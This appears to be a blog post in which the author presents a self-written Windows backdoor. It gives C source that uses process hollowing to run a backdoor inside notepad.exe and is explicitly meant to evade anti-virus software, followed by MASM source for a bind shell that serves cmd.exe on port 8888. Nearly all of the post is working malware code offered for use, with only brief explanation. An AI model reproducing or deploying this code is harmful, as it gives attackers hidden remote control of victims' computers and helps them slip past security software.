Win32 Run-Time decryption Backdoor

Well , I had to code my own backdoor from the scratch , which it has proven to be successful in evading almost all anti-virus products since it takes advantage of the process-replacement technique .
Basically , process-replacement is the act of creating a system process (e.g : csrss.exe) in suspended state , and then unmaps (deallocate) that process adresss space by calling NtUnmapViewOfsection() and maps the backdoor's content in it , and finally resuming that process execution with ResumeThread() , hence this is definitely a good strategy to bypass anti-virus detection due to the fact that the backdoor is executed in the context of a legitimate system process .
Here is the process-replacement code :



#include 
#include 

#define myExitError(msg) fprintf(stderr, \
                                "%s  , (Error : %x )\n" , msg \
                                 , GetLastError() ) ;\
                         ExitProcess(-1); \


#define NT_SUCCESS 0x00000000


typedef    ( * NtUnmapViewOfSection)     ( IN HANDLE  ProcessHandle ,  IN  PVOID   BaseAddress );
typedef    ( * NtWriteVirtualMemory)     ( IN HANDLE  ProcessHandle ,  IN  PVOID   BaseAddress , IN PVOID Buffer , IN ULONG NumberOfBytesToWrite, OUT PULONG NumberOfBytesWritten OPTIONAL );
typedef    ( * NtReadVirtualMemory )     ( IN HANDLE  ProcessHandle ,  IN  PVOID   BaseAddress , OUT PVOID  Buffer, IN ULONG NumberOfBytesToRead,OUT PULONG NumberOfBytesReaded OPTIONAL   );
typedef    ( * NtResumeThread )          ( IN HANDLE  ThreadHandle,  OUT PULONG SuspendCount OPTIONAL ) ;
typedef    ( * NtGetContextThread)       ( IN HANDLE  ThreadHandle , OUT PCONTEXT pContext );
typedef    ( * NtSetContextThread)       ( IN HANDLE  ThreadHandle, IN PCONTEXT Context );
typedef    ( * NtQueryInformationProcess)( HANDLE ,   UINT ,PVOID ,ULONG , PULONG);



int main(int argc,char* argv[])
{

    NtUnmapViewOfSection    myNtUnmapViewOfSection ;
    NtReadVirtualMemory     myNtReadVirtualMemory  ;
    NtWriteVirtualMemory    myNtWriteVirtualMemory ;
    NtResumeThread          myNtResumeThread;
    NtGetContextThread      myNtGetContextThread;
    NtSetContextThread      myNtSetContextThread ;
    NtQueryInformationProcess myNtQueryInformationProcess ;


    HMODULE dll = LoadLibraryA("ntdll.dll");
    myNtUnmapViewOfSection    = (NtUnmapViewOfSection)GetProcAddress(dll,"NtUnmapViewOfSection");
    myNtReadVirtualMemory     = (NtReadVirtualMemory )GetProcAddress(dll,"NtReadVirtualMemory");
    myNtWriteVirtualMemory    = (NtWriteVirtualMemory)GetProcAddress(dll,"NtWriteVirtualMemory");
    myNtSetContextThread      = (NtSetContextThread)GetProcAddress(dll,"NtSetContextThread");
    myNtGetContextThread      = (NtGetContextThread)GetProcAddress(dll,"NtGetContextThread");
    myNtResumeThread          = (NtResumeThread)GetProcAddress(dll,"NtResumeThread");
    myNtQueryInformationProcess =(NtQueryInformationProcess)GetProcAddress(dll,"NtQueryInformationProcess");


    PVOID MyExe,Allocated,BaseAddrOfSuspendedProcess;
    DWORD i,read,noDebuginherit = 0,nSizeOfFile;
    HANDLE hMyExe ;
    IMAGE_DOS_HEADER * IDH;
    IMAGE_NT_HEADERS  * INH;
    IMAGE_SECTION_HEADER  * ISH;
    STARTUPINFO StartInfo;
    PROCESS_INFORMATION ProcInfo;
    CONTEXT ThreadContext;;

    memset(&StartInfo,0,sizeof(StartInfo));
    memset(&ProcInfo,0,sizeof(ProcInfo));

    if((myNtQueryInformationProcess(GetCurrentProcess(),0x7,&noDebuginherit,4,NULL)) != NT_SUCCESS )
    {
        ExitProcess(-1);
    }

    if(!CreateProcess(NULL,"C:\\windows\\system32\\notepad.exe",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&StartInfo,&ProcInfo))
    {
        myExitError("Error in creating a target process in suspended state ");
    }

    ThreadContext.ContextFlags=CONTEXT_FULL;
    hMyExe=CreateFile("myBackdoor.exe",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);

    if(hMyExe==INVALID_HANDLE_VALUE)
    {
        myExitError(" Cannot open The Backdoor ");
    }

    nSizeOfFile=GetFileSize(hMyExe,NULL);

    MyExe = VirtualAlloc(NULL,nSizeOfFile,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);

    ReadFile(hMyExe,MyExe,nSizeOfFile,&read,NULL) ;


    IDH=(PIMAGE_DOS_HEADER)MyExe;

    INH=(PIMAGE_NT_HEADERS)((LPBYTE)MyExe+IDH->e_lfanew);

    myNtGetContextThread(ProcInfo.hThread,&ThreadContext);
    myNtReadVirtualMemory(ProcInfo.hProcess,(PVOID)(ThreadContext.Ebx+8),&BaseAddrOfSuspendedProcess,sizeof(PVOID),NULL);

    if((DWORD)BaseAddrOfSuspendedProcess == INH->OptionalHeader.ImageBase)
    {
        myNtUnmapViewOfSection(ProcInfo.hProcess,BaseAddrOfSuspendedProcess);
        printf("Unmapping Target Exe starting from %x \n",BaseAddrOfSuspendedProcess);
    }

    Allocated=VirtualAllocEx(ProcInfo.hProcess,(PVOID)INH->OptionalHeader.ImageBase,INH->OptionalHeader.SizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); 

    if(Allocated != INH->OptionalHeader.ImageBase)
    {
        printf("Cannot allocate memory in at %X in target process !! \n",INH->OptionalHeader.ImageBase);
        ExitProcess(-1);
    }

    if(myNtWriteVirtualMemory(ProcInfo.hProcess,Allocated,MyExe,INH->OptionalHeader.SizeOfHeaders,NULL) != NT_SUCCESS )
    {
        myExitError("Cannot write in target address space ");
    }

    for(i=0; iFileHeader.NumberOfSections; i++)
    {
        ISH=(PIMAGE_SECTION_HEADER)((LPBYTE)MyExe+IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+(i*sizeof(IMAGE_SECTION_HEADER)));
        myNtWriteVirtualMemory(ProcInfo.hProcess,(PVOID)((LPBYTE)Allocated+ISH->VirtualAddress),(PVOID)((LPBYTE)MyExe+ISH->PointerToRawData),ISH->SizeOfRawData,NULL); 
    }

    ThreadContext.Eax=(DWORD)((LPBYTE)Allocated+INH->OptionalHeader.AddressOfEntryPoint);

    printf(" New entry point: %x \n",ThreadContext.Eax);

    myNtWriteVirtualMemory(ProcInfo.hProcess,(PVOID)(ThreadContext.Ebx+8),&INH->OptionalHeader.ImageBase,sizeof(PVOID),NULL);

    myNtSetContextThread(ProcInfo.hThread,&ThreadContext);

    if(myNtResumeThread(ProcInfo.hThread,NULL) != NT_SUCCESS )
    {
        myExitError("Cannot Resume Thread ");
    }



    return 0;
}

Because the size matters , then I decided to code the backdoor in assembly (MASM):

 
.386
.model flat,stdcall
option casemap:none

;------------Block 2----------
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
includelib ws2_32.lib
include ws2_32.inc


.data
msg db "message",0
msg1 db "title",0
error db "error",0
binderror db "cannot bind",0
cmd db "cmd.exe",0
processerror db "cannot create process",0
sockerror db "error in creating a socket ",0
er db "%d-",0


.data? 
sa WSADATA <>
pi PROCESS_INFORMATION <>
sii STARTUPINFO <>
client  sockaddr_in <> 
sock HANDLE ?
newsock HANDLE ? 
sizee DWORD ?
sec db 32 dup(?)


.code 
start : 
mov eax , offset sii.cb
mov dword ptr [eax] , 0
xor eax ,eax 
mov eax , offset sii.dwFlags 
mov dword ptr [eax] , STARTF_USESTDHANDLES 
mov ecx , sizeof(PROCESS_INFORMATION)
mov eax , offset pi
zero : 
mov byte ptr [eax], 0
dec eax
dec ecx 
cmp ecx ,0
jne zero

invoke WSAStartup ,101h ,addr sa ;0x202 is makeword(2,2) 

invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,NULL,NULL

.if eax == -1 
   invoke MessageBox,NULL, addr sockerror ,addr error,NULL 
   invoke GetLastError
   invoke wsprintf,addr sec , addr er , eax  
   invoke ExitProcess,-1
.endif

 mov sock ,eax 
 mov [client.sin_family] ,AF_INET 
 mov  dword ptr [client.sin_port] , htons(8888) ; port 24628 
 mov [client.sin_addr]  , INADDR_ANY
 
invoke bind,sock ,ADDR client , SIZEOF client
.if eax != 0 
  invoke MessageBox,NULL, addr binderror ,addr error , NULL 
   invoke GetLastError
  invoke wsprintf,addr sec , addr er , eax
  invoke ExitProcess,-1
 .endif
 
 
invoke listen,sock,5
  xor eax ,eax 
  mov sizee , 10h 

  invoke accept,sock , addr client ,addr sizee 
  
  mov newsock,eax 
  mov [sii.hStdError]  , eax


mov [sii.hStdInput]   , eax
  mov [sii.hStdOutput] , eax 
  
 
  invoke CreateProcess,NULL,addr cmd , 0,0,TRUE,0,0,0,addr sii,addr pi
  cmp eax , 0 
  jne success 
  invoke MessageBox,NULL, addr processerror ,addr error ,NULL 
  
  success : 

  xor eax,eax 
  invoke ExitProcess,NULL  

end start 
Show Comments

Get the latest posts delivered right to your inbox.